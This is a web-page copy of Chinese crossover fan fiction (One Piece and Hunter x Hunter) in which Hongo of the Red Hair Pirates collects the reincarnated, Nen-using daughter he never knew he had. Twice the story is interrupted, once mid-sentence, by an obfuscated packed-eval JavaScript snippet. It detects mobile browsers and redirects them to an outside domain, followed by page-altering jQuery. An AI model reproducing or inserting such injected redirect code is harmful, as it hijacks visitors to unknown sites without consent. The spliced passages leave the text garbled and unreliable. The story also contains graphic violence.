《当你成为大海贼的孩子》 1. 1 这天,雷德·佛斯号如往常般在新世界的平静海域上航行,距离红发海贼团上次登岛已经是大半个月前的事了。 自从多年前他们的船长红发香克斯登顶四皇宝座之后,原本还会时不时遇到的海军现在只要看到他们船的影子就调头跑路,一些胆小的海贼也是同样躲着他们。不过幸好这片大海足够宽广,总有些不怕死、爱挑事的海贼团喜欢来挑战他们,让他们在海上航行的日子不至于太过无聊,所以大家现在在船上无聊的时候最期待的就是能遇到些不长眼的家伙,好让他们活动活动筋骨。 不过,也就是这样一个平静又无聊的日子里,发生了件连船长香克斯都惊动了的大事件。 “贝克曼,你说这是我的信?” 每次天气好又没有风浪的时候,本乡总会在医务室里整理清点药品,然后制作些消耗快的药品。这天,他正在医务室里清点药品的时候,贝克曼敲响了医务室的大门。 这位向来稳重,为海贼团付出诸多心血的副船长,此刻站在医务室的门口,手上拿着封信,高大的男人背对着阳光,一时间让本乡看不清他脸上的表情。 “本乡,有你的信。”贝克曼的声音低沉而平稳,却透着一丝古怪,他走进医务室,将信放在桌上,“一封由新闻鸟送来的,不知道来处的信。” 听到这里,本乡将手里的药瓶放回药柜锁好,转过身,看着桌面上的信皱起了眉。如果是他们旗下的海贼团或者商队要联系他都会通过内部特殊渠道,根本不可能采用让新闻鸟送信这种容易泄露信件信息的方式,所以他想了半天也想不到有谁会用这种方式给他寄信。 半响后,他还是拿起信,从写着他名字的信封里抽出信纸,洁白的信纸上写着短短几行字,看着那上面陌生又熟悉的字迹,本乡的表情从惊讶变成震惊,最后化为不可置信的痛苦。 在看到本乡低头痛哭的时候,贝克曼是诧异的,从拿到信到给本乡这段时间里,他有过对信来源和信内容的怀疑,但毕竟是给自家船医的信,所以向来尊重船员们隐私的船副根本就没有打开信看过其中的内容。 而现在,他是真的很好奇这份信的内容了,居然能让早已看惯生死的本乡痛苦流泪。不过现在他觉得他们的船医可能需要独自待一会。 贝克曼拍了拍本乡的肩:“有什么需要就和我说。”说完,他就抬脚离开医务室,在即将踏出医务室大门的时候,身后传来了本乡悲伤的声音。 “贝克曼,我需要暂时离开船上一段时间。” “因为这封信的内容?”贝克曼没有回头,只是站在门口语气淡淡的问,“我能知道是什么样的事情需要你离船去处理吗?” “...我的女儿,贝克曼。” “就在刚刚,我才知道我有个女儿,她的母亲去世了,现在需要我这个父亲去接她。” “欸?!!本乡居然有个女儿吗?” 雷德·佛斯号上传出震惊的声音。 红发海贼团的干部们团团围住船医议论纷纷起来。 “真没想到啊,我们船上现在除了耶稣布有儿子外,本乡也有女儿了啊。” “不过,本乡,你是什么时候有的女儿啊。” “对啊,不会是海军或者敌对势力针对我们的新方法吧?” 本乡咬牙切齿的听着周围叽叽喳喳不停,看似关心他,实则向他投来八卦目光的伙伴们。他原本已经和贝克曼商量好了,打算悄悄的一个人离船,谁知道他有女儿并且要去接人这件事被偶尔路过的船长听到了。 然后在船长不经意的宣传下,船上所有人在短短几分钟内知道了这件事,于是他悄悄离船变成了现在的围观。 “哟西!既然有可能是敌人的陷阱,那我们就不能这么放任本乡一个人离船了。”红发船长咧着大嘴,笑嘻嘻的做了决定,“所以,就让我们一起去接本乡的女儿吧!” “哦~”早就无聊很久的众人发出了兴奋的声音。 本乡对着众人鲨鱼齿吼道:“你们根本就是想看热闹吧!” 早就做了父亲的耶稣布凑了过来,勾搭上本乡的肩膀,一副过来人的模样,贱贱的问他:“怎么样,需不需要我给你传授点经验?” “你有什么经验啊!你出海的时候你儿子才刚出生吧!这么些年你回去看过你儿子吗就来给我传授经验!” “而且我的是女儿!女儿和儿子能一样吗?!” 心情本就不好的本乡在被众人围观后,就像是头暴躁的野兽,攻击着每个不怕死凑上前的家伙。 “你太过分了!”耶稣布被本乡犀利刻薄的话打击到,捂着心口痛苦倒地。 “哈哈哈!” 雷德·佛斯号在海贼们的嬉笑声中转航,驶向了新的目的地。 踏上这座陌生小岛的时候,本乡就发现了这里的落后。破旧的街道,落后的建筑样式,保守的服饰,这些也意味着岛上的居民思维保守、愚昧。 他想到在来的路上整理好的关于你和你母亲这些年的情报信息就忍不住皱眉,再看看周围居民脸上不加掩饰的厌恶、恐惧和排斥,他脸上的表情就越发凝重难看,胸口说不出的压抑感让他窒息。 当本乡出现在你面前的时候你正坐在门前的秋千上,这座秋千是你的母亲在你还没有椅子高的时候为你搭建的。 她说自己小的时候很喜欢荡秋千,每次坐在秋千上荡到最高点的时候是她儿时最快乐的时候,那时的她总会幻想自己是只小鸟,可以随风而飞,自由自在的。可惜后来那座秋千毁在了海贼的屠戮下,侥幸逃脱的她后来再也没有机会荡秋千,所以她想为小小的你也搭建一个秋千,想让你也感受她儿时的那份快乐。 不过那时候的你很少玩,让她失望了很久。 没办法,拥有上辈子记忆的你从来没把自己当成个孩子,尤其是你们生活的这座小岛足够落后迂腐的时候,你更没办法做个孩子。 是的,你们一直生活在这座小岛居民的霸凌中。你的母亲是个软弱的笨蛋,她这辈子最大的勇气都用在了独自一人生下你和用身体保护无能还手的你了。 所以不甘被人欺凌的你在三岁的时候成功开念,重来一世,你对念的修练得心应手,而且还是上辈子的强化系,这很好,这意味着从小修练的你,未来可以像那个幻影旅团的窝金一样拥有就算是火箭炮都穿不透的强健体魄,在这样一个不比上辈子老家好多少的世界,这是在合适不过的念系了。 在你勤勤恳恳,日夜不休的努力下,你的缠越来越厚,你的坚越来越硬,你的圆越来越大,你的绝越来越趋向完美,岛上那些居民也越来越害怕你,害怕到不敢出现在你面前,害怕到不敢和你对视,害怕到,他们只能在你看不见的地方悄悄诋毁谩骂你。 你成功让你们摆脱了他人的欺凌,也成功让你们被所有人孤立。于是那个笨蛋不想让你在他人的排斥眼光中生活,自说自话的说什么觉得森林里空气好,还安静,想带着你搬进了森林里不知道荒废了多久的小屋。 真可笑,你才不在乎别人是怎么看你的,你想这么告诉那个笨蛋的,但是在对上她那双充斥着悲伤和担心的双眸,你的话怎么也说不出口,心里还闷闷的,有股说不出的感觉,你不喜欢她现在的表情,你喜欢看她笑起来的样子,暖暖的,像路边的小野花一样,很可爱。 算了,算了,为了让那个笨蛋高兴,你就答应了她的搬家要求。果然,你刚答应,她的眼中就出现了阳光,明亮而温暖。 虽然那个笨蛋软弱还好骗,但是你不得不承认,她给了你上辈子到死都没得到过的母爱和家的感觉。 可惜,不知道是不是上辈子杀人太多,这辈子老天才会让你在拥有了温暖以后残忍剥夺,以此做为对你的惩罚。 你的母亲就要死了,而最开始,她只是得了一场小小的感冒,结果不知怎么演变成了肺炎和连续多日的高烧。 “她活不下来了。”被你抓来给母亲看病的那个医生颤抖着他苍老的身躯,偷偷瞄你的眼神里带着恶意,说出口的话语里也满是幸灾乐祸,“我们这座岛太落后了,根本没有可以治疗肺炎的药物,这都是命啊。” 命?真是可笑,流星街人从不信命! 你一把将这个治不好人的老东西扔出你家,免得他恶心的气息污染了你母亲呼吸的空气。 “既然这座岛救不了你,那我就带你去其他岛屿。”你站在母亲的床前这样说。 但是她却拒绝了。 “咳咳,不要再为我奔波了。”她苍白的脸颊上是不自然的红晕,连日来的高烧让她虚弱不堪,而离这座岛最近的岛屿至少也要航线三天,这还是航线无误的情况下,可她的情况根本就撑不到那时候了。 在这生命最后的时刻,她希望你能够陪在她的身边说说话。 在仅剩的日子里,她总会和你说很多。 她说,你从小就是个不让人操心的孩子,但是太过省心让她很有挫败感,感觉是个很差劲的母亲,明明应该是她来保护你的,结果到头来却是让小小的你来保护她。 这个时候,你会握住她再也无力抬起的手,慢慢的放在你趴在她床边的脸上,无声的看着她,最后只能吐出哀求的话语,“求你,别留下我一个人。” “好难得,你会露出这样孩子气的表情。”她吃力的笑笑,然后温柔的对你说,“别怕,我会找人来接你走的,虽然我也不知道他现在还记不记得我。” “但如果,他真的没有来,你也不要害怕孤单。” “我会化作风,化作雨,化作那漫天星辰,无时无刻的看着你、陪伴着你。” 当你看到她站在阳光下朝你招手的时候,你就知道,你和她到了最后的别离时分。她递给了你一封信,信封上写着本乡两个字,这应该就是她说的那个可能会在看了信以后来接你离开这里的人。 “说起来,我好像一直都没有给你说过你的父亲呢。”她带着对过往回忆的怀念,轻柔的抚摸着信封上的那个名字,“我和他刚认识的时候,他还只是个边在医院打零工边偷学医术的毛头小子,而我则是那家医院旁边餐厅的服务员。” “那天,我被一个海贼缠住了,当时在场的人里只有他挺身而出,挡在我面前,替我解决了那个海贼。” “之后我为了感谢他的帮忙,经常会给他送一些我自己做的小点心,一来二去的,我们就成为了朋友。” “后来,他向我告白,红着脸问我能不能做他的女朋友,那时候我很吃惊。本乡他性格开朗外向,长得也很帅气,有不少的女孩子都喜欢他,而我性格软弱,长得也不漂亮,他怎么会喜欢上我这样一个普通到再普通不过的女孩呢?” “他告诉我,他喜欢我的笑,他说我笑起来的时候像是冬日里和煦温暖的阳光,照亮温暖着他。” “然后我们就在一起了,度过一段非常开心的日子,直到他和我说,他要出海。” “有个红头发的家伙看中了他的医术,想要邀请他加入他的海贼团,他来问我要不要和他一起走。” “当时的我拒绝了,我和他之间爆发了前所未有的争吵。我过往的一切都被海贼摧毁了,而现在我的爱人却要去成为我所憎恨的海贼。” “但是我也知道,本乡他和我是不一样的,他一直都非常向往着大海,现在只是有了让他走出去的机会,我是那么的爱他,又怎么忍心看到他被我拖累束缚。” “当我夹在在对海贼的憎恨和对本乡的爱时,我怯懦的逃跑了,我只给他留下了一句分手,便逃离了我和他的家,独自一人来到了这里。” “只是没多久,我就发现我怀孕了,那时的我实在是太思念本乡也太寂寞了,所以我自私的选择将你生下,让你和我一起面对那么多不愉快的事情。” “你会怪我吗?” “不会。”你走上前,轻轻拥住看起来快要碎掉的她,你把头埋在她瘦骨嶙峋的颈窝,“我永远都不会怪你,谢谢你能让我来到这个世界。” “妈妈。” 谢谢你让我感受到母爱,谢谢你让我知道有家是种什么感觉,此世间我可以不在意任何人、任何事,你是我此世唯一的软肋、弱点。 你把信塞进了那只被你抓来很久的新闻鸟腰包里,那只鸟在你的威胁下拼命点头,最后在她眷恋、期待的目光中逃一般的飞走了。 最后的弥留之际,她看向你的眼光是那样的不舍,又是那样的解脱。 “飞吧,我的小鸟。带着我的祝福,自由自在的翱翔于天际吧,去看看这广阔无垠的世界,去做你喜欢做的事情吧。” “......好。”你抱着她永远沉睡的身躯轻声回答。 你没有把她埋葬在冰冷的土里,而是选了个晴空万里的好天气,带着她的骨灰来到海边,让她随风而去,让她获得她生前渴望却没有得到的自由。 你在这座岛上等了本乡大半个月,等待的日子是无聊的,尤其是只剩下你一个人的时候。为了打发时间,你开始花更多的时间在念能力的基础修行上,比如长时间的保持炼直到体力耗尽,再通过绝来恢复体力和念,再比如晚上睡觉时也保持着缠,让缠均匀厚实。 总之,经过这段时间的努力,你的念能力又强大了,你甚至觉得现在你的念已经快追上上辈子的你了。 就在你无聊的坐在秋千上看两窝蚂蚁打架的时候,一个强大的气息闯进了你的圆里。这是个带着点杀戮的血腥气息,非常明显的外来者。 外来者来的很快,没多久,一个金色头发,穿着件运动服外套和灰色长裤,裸露着饱满胸肌和结实腹肌的高大男人出现在你的面前,他紧蹙着眉头,看向你的眼神悲伤而复杂。 哦,是本乡啊,那个来接你的人,他终于来了。他比你从悬赏令上看到的样子更成熟沉稳,身上散发着强者的气息。也是,她之前给你看的照片是他刚被悬赏时的,距离现在已经很久了,现在的他,可是四皇“红发”的海贼团的核心大干部啊。 在看到秋千上的女孩第一眼,本乡就确定了她是自己的女儿这件事,她有着一头和她母亲一样的黑发,长相既不像他也不像她母亲,而是像极了他的母亲。 “你.......”看着这个和他母亲有七分像的女孩,本乡的情绪复杂极了,一颗心忐忑不安,他有很多话想对女孩说,最后话到嘴边却一个字也说不出。 “哦,你来了啊。”你淡定的抬头和对面看上去有些无措的金发海贼打着招呼,接着跳下秋千双手插兜朝他走去,“走吧,我已经等的厌烦了。” 在你从本乡面前走过的时候,他一把拉住了你的胳膊,还有点没跟上你节奏的本乡呆愣愣的问:“等,等等,什么走吧?要走哪儿?” 你扭头奇怪的看着他问:“你不是来接我离开这里的吗?” “是,是这样的。”本乡像是这时候才想起来自己过来的目的一样,他看着只穿着件背心短裤赤脚的你,眉头皱的更紧了,“你的鞋子呢?怎么光脚踩地上,脚很容易会受伤的。还有,你穿的太少了,海上的风很大,到夜晚会很冷的。你的行李都放在了哪里,怎么空着手就要走了?还有,你...你母亲现在在哪里,我想见一见她......” “停!”你打断了絮絮叨叨、自说自话的看起来像是已经把自己带入到父亲角色的金发海贼,言简意赅的回答了他刚刚的问题,“不穿鞋,没行李,不冷。” “至于我母亲,我把她的骨灰随风扬了。” “......这样啊。”本乡被你眼中的陌生和冷漠一刺,垂下眼眸,紧握着你手臂的手不自觉的松开,低声呢喃,“这样也好,这样也好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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话说完,本乡就懊恼的想抽自己一巴掌,他在说些什么啊!他明明是想解释他刚刚的试探不是故意的,怎么话说出口就变成这样了啊! “我不是在怀疑你!虽然平时打探我们海贼团信息的人挺多的......不,我的意思是,我......”越解释越乱的本乡最后还是打了自己一巴掌,他懊恼的样子看的你都迷惑了 他这是在干嘛?为什么突然打自己?是什么打算用这种自残的方式从你这里得到点同情吗? 你和他的速度很快,转眼间就已经来到了小镇外围,从这里已经能够看到停靠在海边的红色大船。 “其实你不用解释。”你突然停下脚步,望着远处的飞鸟淡淡的说,“我们本来就是陌生人,你怀疑我才是正常的。” “你......”本乡转身,看着你的眼神带着愧疚、意外最后化为无奈的叹息,“对不起,是我的错。” “为什么和我道歉?”你不明所以,“你该道歉的人已经死了,而我不需要你的道歉。” “我.....” 就在本乡还想对你说些什么的时候,一些细微的充满恶意的声音传到了你的耳朵里。 “快看呀,这个小怪物要跟着海贼走了。” “太好了,她那个下贱的妈死了,等她一走,我们岛上就干净了。” “就是就是,这么多年就是她们母女两个把我们岛上的空气都弄脏了。” “谁说不是呢,她那个妈一个人怀着孕来这里,一看就是被人抛弃的,肯定是做什么见不得人的勾当生意,不然好人家的女人怎么会来我们这么偏僻的岛上。” “但是你别说,虽然这个小怪物身材瘦小了点,但是脸长得还挺好看的,你说我要是和她身边的那个海贼说,等玩腻了把她给我,会不会同意?” “你不要命啦!不过你说的我都有点心痒痒了。” 那些居民们自以为说的足够小声,可实际上他们说的每一句污言秽语都被本乡和你听得清清楚楚,听着这些对你和你母亲的肮脏猜测,本乡气得朝那些人大声呵斥:“你们这些家伙在说些什么呢?!” 他一把拎起其中一个长相猥琐的男人衣领,猥琐男人没想到这个凶神恶煞的海贼会听到他们的谈话,现在身体害怕的抖得像筛子一样,惊恐的脸上硬是挤出了个谄媚的笑,结结巴巴的说,“我,我,我错了,求您,求您,放,放过,放过我吧。”他看着海贼高高举起的拳头,颤抖的更加厉害,下身的裤子开始变湿,一滩难闻的黄色液体在他脚下汇集。 “啧!”本乡看着手里快被他给吓死的男人,最后还是嫌弃的把人扔地下,凶恶的眼神扫过周围,心虚害怕的居民们纷纷低下头什么也不敢说。 “走吧。”本乡回到你身边,给了你一个跟上的眼神继续往海边走去。 “什么嘛,就这样吗?”你没动,像看蚂蚁一样看着那个以为逃过一劫高兴不已的男人。 “啊?”发觉你没跟上的本乡折返回来,刚好听到你刚刚的话语,又顺着你的视线看去,最后和你解释,“头儿不允许我们对平民出手,他现在什么都没做,我不好随便动手。” “呵呵。”听到这个解释,你低低笑了两声,“真是可笑,明明都当海贼了,现在居然说不能随便对平民动手。” “不过没关系。”你在地上挑了个顺手的石头,握着石头,“我又不是你们的人。”说完,你就对着猥琐男人的笑脸把石头扔了了过去。 “......”本乡在看到你捡石头的时候就意识到你想做什么了,原本想阻止你的动作在想到那些人的话时顿住了,最后只是皱眉,满脸烦躁的抱胸站着。 “啊!”伴随着一声凄惨的叫声,那个猥琐男人痛苦的捂着自己的嘴,他颤抖的拿开手,手心里是块带血的石头和五六颗带着血肉的牙齿,他张大的嘴满是鲜血,明眼人一看就发现他的门牙和犬牙都被砸掉了。 “我说过的吧。”你蹲在猥琐男人的面前,一把抓住他的头发,迫使他的脸凑近,从他因为痛苦和恐惧而缩小的瞳孔里可以清楚看到你像是看死人一般的淡漠表情,“谁要是再让我听到一句诋毁,我就敲掉他的牙,拔了他的舌,让他这辈子做个不用说话的哑巴。” “不过看起来,你们好像把我的话给忘了啊。”你的视线一一扫过刚刚那些说话的人,他们此刻都面色发白,浑身颤抖,显然是想起了你的厉害。 你用力掐住猥琐男人的嘴,迫使他张大嘴仰头,把所有的牙和舌暴露在你的视线内,你无视着男人的挣扎,手慢慢朝他的嘴里伸去,“不听话的家伙,就要受到该受的惩罚。” “唔!!!” 男人痛苦喊叫,但是被你强制打开的嘴里全是鲜血,堵住了他的喉咙,只能在地上不停扭动着躯体发出痛苦的呜咽声,他身体的两侧散落着你一颗颗拔下的牙齿,当他感觉到你纤长的手指勾上他的舌头时,身体的挣扎更加厉害,只可惜他的这点挣扎在你看来不过是蜉蝣撼树罢了。 “够了!” 最后拦住你的是个红头发的男人,他在你快要拔掉这个恶心家伙的舌头时,带着不容抗拒的力道握住了你的手腕,阻止了你的动作。 “你给的惩罚已经够了,没必要再拔了他的舌头。”红头发的男人肃着脸,看向你的眼神带着犀利和几分欣赏?说话的语气坚定,但又带着点安抚的意味,“女孩子的手还是不要做这种肮脏的活计了。” 哈?他以为他是谁啊?你要做什么,轮得到他决定吗?于是,你决定无视这个自说自话的家伙,掐住男人脸颊的手迅速用力的往边上一扯,一条鲜红的,柔软的舌头被拔了出来,舌头撕扯断裂时喷射出的血液溅上了你的脸颊。 在红头发男人惊诧的目光中,你淡定的松开手,因为太过疼痛而昏厥过去的男人和他被你拔了的舌头一起落在肮脏的泥地上。 “你......”红头发男人讶异的目光上下打量了你好几次,最后还是带着不敢相信的语气问你,“我不是都握住你的手了吗?你怎么还能拔了呀?” “因为我有两只手啊,傻逼。”你骂了红头发的男人,这种只要长眼睛就能知道的问题,他还问出来,不是傻逼是什么?然后你自顾自的撩起他黑色的披风擦拭着脸上和指尖的肮脏。 2. 2 你上船已经有一周了,上船前的经历些微有些糟糕,毕竟你在刚骂过这艘船的一把手傻逼以后,又把这艘船的二把手的肋骨踹裂了,接着你的行为就被这艘船的狙击手当做是敌袭,他朝你的脑袋开了一枪,虽然你在子弹接触到缠的第一时间就把缠转为了硬,但是你的太阳穴还是被这颗子弹击中,好在硬为你挡下了绝大部分的冲击力,你的□□也锻炼的很坚实,所幸没有受到很严重的伤害,就是太阳穴位置有个圆形的伤口,留了点血,你当时的情形看着应该还有点吓人,反正在场的三个男人,每个人的脸色都难看极了。 最后,是那个被你骂了傻逼的红头发家伙看你还想继续打下去,对你释放了一种类似念压的特殊力量让你眼前一黑,脑子泛起阵阵眩晕,在你奋力抵抗了差不多半分多钟吧,你最终还是晕了过去。 不过这些,都是后来本乡告诉你的。 等你再醒来的时候,就已经在船上了。你摸了下脑袋上被纱布覆盖着的位置,看来你的伤又被人好好处理过,一把掀开盖在身上的还带着点消毒水味道的被子,赤脚踩在冰凉的木地板上,周围的陈设摆列和散落在桌上的不锈钢托盘里的药瓶都在告诉你,你现在是在医务室。 “哦~你醒了啊。”一个带着点惊喜的声音从你身后传来。 你回过头,一个呲着大牙傻笑的红脑袋从打开的门缝里挤了进来,红脑袋像做贼一样在门外左右来回看了好几遍,才正大光明的把门打开走了进来。 “你好呀小姑娘,我叫香克斯,是这艘船的船长。”傻笑的红脑袋是这样介绍的自己。 原来他就是四皇“红发”啊,没想到,本人和你在悬赏令上看过的照片比真的是......老了好多啊,难怪你第一时间没认出来。 在你还在打量着他的时候,这位称霸新世界的四皇就非常自来熟,毫无人际交往边界感的,自顾自的和你握了个手。那只带着男人体温的大手握上来的时候,你呼吸一滞,在强压下想把男人手折断的念头后才重新恢复了缓慢的呼吸,倒是男人像是什么都没察觉一样,还乐呵呵的握着你的手上下摇了摇。 握过手,香克斯在医务室张望了一下,给自己拖来了把椅子坐下,在看到你赤脚踩在地上的时候,又把你直接按在了你刚刚躺着的床上,自说自话起来,“诶呀,本乡怎么那么粗心都没给你准备鞋吗?等他一会回来了我会帮你谴责他的。” 你:“......” “小姑娘你叫什么呀?我总不能一直小姑娘小姑娘的喊你吧?” 你:“......” “你怎么不说话呀?本乡没说过你是哑巴呀?难道是因为被耶稣布的子弹打到脑袋打傻了?” 你:“= =#” “诶呀,还是不说话啊,不会是真的被打傻了吧?”见你一直不搭理自己,香克斯开始怀疑你的脑袋是不是被打傻了,甚至带着点疑惑的表情,开始对你的脑袋上手,各种摆弄乱看,还时不时的用手对你比着数字问你,“这是几呀?认不认识呀?” 你放在身体两侧的手慢慢握紧,就在你要忍不住揍他的时候,香克斯放开了你,然后一本正经的摸着下巴说着自己的诊断结论:“嗯,看来是真傻了啊,这就麻烦了啊,耶稣布上哪重新赔给本乡一个这么大的女儿呢?” 忍无可忍的你决定给这个一脸苦恼的红发男人一拳,语气中还带着点怒气的说:“滚!” 谁傻了?再傻能有你这个傻逼傻吗?! “哎呀,这不是会说话,也没傻嘛。”你的拳头被男人的大手包裹住,他把你的手拉下,露出了狡黠得意的笑。 好好好,激你是吧? 你冷笑了一下,迅速换手挥拳,你可没忘对面这个男人只有一只手,而你有两只。 这就意味着,当你一只手被他控制住的时候,你还有一只手,但是他,没!有!了! 果不其然,在看到你朝他脸挥来的另一个拳头,男人惊慌失措的松开手连连后退,躲开了你的攻击,然后带着孩子气的不满说,“好过分哦,怎么可以欺负我只有一只手呢?”看着你的眼神里还夹杂着一丝小小的委屈。 额...... 你突然停下动作,视线漂移,一只手捂上嘴。 怎么办,突然觉得好恶心,想吐...... 或许是你的脸色变得太过明显,香克斯显然是从中看出点什么,他大为不满的开始大呼小叫起来:“喂喂喂!你这是什么表情啊?!是在嫌弃我吗?!” “没有。”你默默放下手,侧过头,语气坚定的回答。 “...那你为什么不看着我说。”香克斯突然伸手捏住了你的脸,眯着眼,带着点威胁的对你要求,“你看着我的眼睛再说一遍我就相信。” “...你不杀我吗?”你没有按照男人的要求做,而是对上男人那双看似在笑的眼睛淡淡开口。 听到你的问题,男人的瞳孔微缩,松开了你,坐直身体收敛了玩闹的态度,身上隐隐散发出属于上位者的气息。 “你觉得我应该杀你?”香克斯反问。 “我动手打了你的人,下了你的面子,你应该杀了我。”这是你上辈子的经验,不管是□□还是在流星街,打了上位者的脸,总要让对出手的那个付出惨痛的代价才能挽回上位者的威严和统治,而杀了那个人,是最直接的方法。 “你这么说,很有道理啊。” 香克斯摩挲着下巴,像是在认真考虑杀了你这件事。而你在他沉默思考的这段时间里眼睛死死盯着他,身体逐渐紧绷,调整成只要香克斯有露出一点对你的杀气或者有动手的预兆你就能迅速逃离的状态。 “小姑娘你这么紧张做什么?”察觉到你开始紧绷的香克斯误以为你是因为他真的要杀你而紧张,刚想抬手拍拍你让你放松,就看到你在他抬手的瞬间,绷紧的身体像是支被射出的箭一样,“咻”的一下就从他面前窜到了医务室窗边下的角落里。 那是一个既可以看清他攻击动作迅速做出反应又能快速逃离医务室的位置。 你做出防备的姿态,身体下意识的开始发动缠,厚实的念开始均匀的包裹住你的身体。 “......”香克斯有些懵逼的看着你,“我有这么吓人吗?” 你进一步压低身体的随时都能暴起的攻击动作和眼中越发浓重的警惕无声回答着他,无声的对峙在你和他之间悄然展开。 “......头儿,你在做什么?” 本乡也不明白,他只是去吃了个饭,再回来看到的就是不靠谱的船长背对着他朝你伸手,而你像是只被惊吓到应激的幼兽躲在医务室的窗下呲牙哈气(?),一副随时会暴起挠人的模样。如果他没记错,他离开医务室前明明锁了门,所以,头儿是怎么进来的呢? 在金发船医的眼中你是个年幼时饱受他人欺负,缺衣少食,娇小柔弱,需要关爱又敏感的存在,更别说你现在还受伤,更是需要多加照顾和关爱。而他的船长,一个成天沉溺于酒水已经成功把自己腌入味不爱洗澡衣品极差有事没事就爱闯祸拆家原本还有脸可以看现在年纪大了脸也看不了的中年邋遢酒鬼,所以你现在这样一定是混蛋船长对你做了什么! 如此坚信的本乡看向船长的眼神立马危险起来,咬着牙阴恻恻的样子像极了恶鬼,“你都做了什么?” “我什么都没有做啊!”看着已经怨鬼化的本乡,香克斯吓得冷汗狂流急忙解释,“我就是想看看小姑娘醒了没有,其他什么都没做!” “哦~你什么都没做她会是现在这样的状态吗?”船长闯的祸太多,本乡根本就不相信香克斯的话,包着武装色的拳头结结实实的砸在他的红脑袋上,“而且我是锁了门离开的!你什么都没做怎么进来的?!” “啊——!好痛啊!”随着香克斯惨叫,一个红通通的大包新鲜出炉,“除了偷偷撬门,我真的什么都没干啊!” “撬门难道还不够吗?!”又是一击拳头攻击。 “啊——我错了还不行吗?!居然还用武装色打我,我可是船长啊!” “好啊,你果然还做了些什么!” “不是,我真的没做什么了呀!” “你刚刚还说你错了!” “...本乡你是不是故意的就想打我!” “碰!” “啊——!” 在本乡逮者香克斯狂走的时候,你已经悄悄翻窗离开了医务室,用绝收敛起自身的气息,沿着船壁一点点向外摸索着。 你打算逃跑。 虽然你还没有见过这艘船的所有人,但是船长都那副德行,其他人能好到哪里去吗?更何况你还得罪了他们,不趁着红发没空理你的间隙逃跑,难道真等着他来找你算账? 当你再次踩着几个正在谈笑吹牛的船员视角忙线,终于来到了放有备用小船的船舷边上,看着快和你头顶齐平的船舷,你莫名有些不爽的在心里“啧”了一声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513257|186181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到一路上看到的有三米多高的脖子上有龙型纹身戴墨镜的长相奇怪的家伙和同样快三米但是胖的和个球一样的小眼睛家伙,你的心里直呼离谱。 这个船上的人都是怎么回事?人均两米的身高是一个个的都是打了生长激素吗?还是身高是这艘船的上船标准? 不过这些都不关你的事,你动作轻巧的解开固定小船的绳索,在小船掉落到海面时警惕拉到了极致,深怕小船掉落海面的声音会惊到那些海贼,好在小船砸在海面上的那点声响混在周围海浪拍打在船身上的声音中毫不起眼,你像只小猫一样,悄无声息的熟练翻越过船舷,在你只要松手就能离开这艘大船的时候,头顶上方传来了子弹上膛的声音。 下一秒,冰冷的枪口抵上了你的脑袋。 “上来。”一道冰冷低沉的声音响起。 怎么可能?! 对于男人的出现,你内心震惊不已。你非常确信自己一路上的绝没有发出丁点声响,也避着所有人的视线,是让伊尔迷那个大少爷看了也能勉强说声不错的隐匿,那么他是怎么发现你逃跑的?! 或者说,他到底是从什么时候发现你逃跑的呢? “老实上来,别让我再说一遍。”看着单手挂在船舷上不动的你,贝克曼持枪的手又往前捅了点,“别想着逃,在你掉海里前我就能先射杀你。” “不信的话,可以试试。”男人的语气平淡的像是在说今天吃什么。 虽然这个世界上已经没有什么是你在乎的了,但是你依然不敢赌。因为活着,对你来说是件很重要的事情,哪怕是再烂的活着。 你顺着男人的意思乖顺的重新回到了船上,这期间男人的枪管就没从你的脑袋上离开过。 “诶呀,贝克你怎么能用枪顶在小姑娘的头上呢?”船长香克斯笑着出现,伸手拍拍自家大副的肩,示意他把枪收起,可别把人给吓坏了。 接收到船长的命令,贝克曼冷哼了一下把枪重新别回腰间,他的视线从你身上离开,转向了甲板上那些无措看着你们,不清楚发生了什么的船员身上,“一个小姑娘从船舱内摸到船舷边上你们居然没一个人发现,这要是敌人的偷袭我们海贼团就该完了!” “今天负责值守的所有人统统禁酒加练一个月!” “是!”此刻才明白了发生什么的船员们脸都吓白了,颤抖着身体接受了船副的惩罚。 一旁的香克斯没有开口为这些‘小可怜们’求情,显然是默认了贝克曼的决定,他重新把视线转移到你身上,对你露出和善的笑容,抬手像在安抚什么小动物一样摸了摸你的脑袋:“小姑娘很厉害嘛,居然可以悄无声息的绕过这么多人,可真是了不起!” “不过。”他话锋一转,原本温柔的话语变成了危险的警告,“已经上了我的船,想下去就是我说了算了。” “要是再偷跑,我就只能让贝克把你的腿打断了。” “有着特殊能力的小姑娘。” 对上男人深邃的眼睛,你从中看到的是和他脸上笑容不符的冷冰冰的怀疑和警惕,你不怀疑你要是有任何一丝的反抗,他会毫不犹豫的让刚刚那个叫贝克曼的男人动手打断你的腿,根本不会在意你是不是本乡的女儿这件事,哪怕本乡现在就站在他身后看着这一切。 多年来已经把非必要不要硬碰硬、伺机而动和识时务的生存准则刻进灵魂里的你沉默着点头,对着这个你无法抵抗的男人底下了你的头颅。 “真是乖孩子。”男人笑嘻嘻的再次像给小动物顺毛一样,一下又一下的摸着你的头,你从他的语气中听到了一丝对你听话的满意。 本乡朝你投来了担忧的目光,犹豫了一下,还是开口:“头儿......” “哦,本乡你来了啊。”像是才发现本乡,香克斯扭头打了个招呼,然后把你推给了他,“你们父女这么多年没见一定有很多话要说吧。” “我就不打扰你们父女相处了,本乡你快带小姑娘走吧,希望她没有被贝克曼吓到。” 吓了人·贝克曼吐出口烟对香克斯翻了个白眼。 对对对,就他吓唬人了,也不知道刚刚在威胁人家小姑娘的是谁。 这之后,本乡给你整理了一间不大,但是通风和采光都不错的空房间,开始了你在红发海贼团的生活。 在经过一周万分警惕、神出鬼没的透明人生活,你发现,这个让世界政府都为之警惕的海贼团,好像,不是笨蛋,就是酒鬼啊! 3. 3 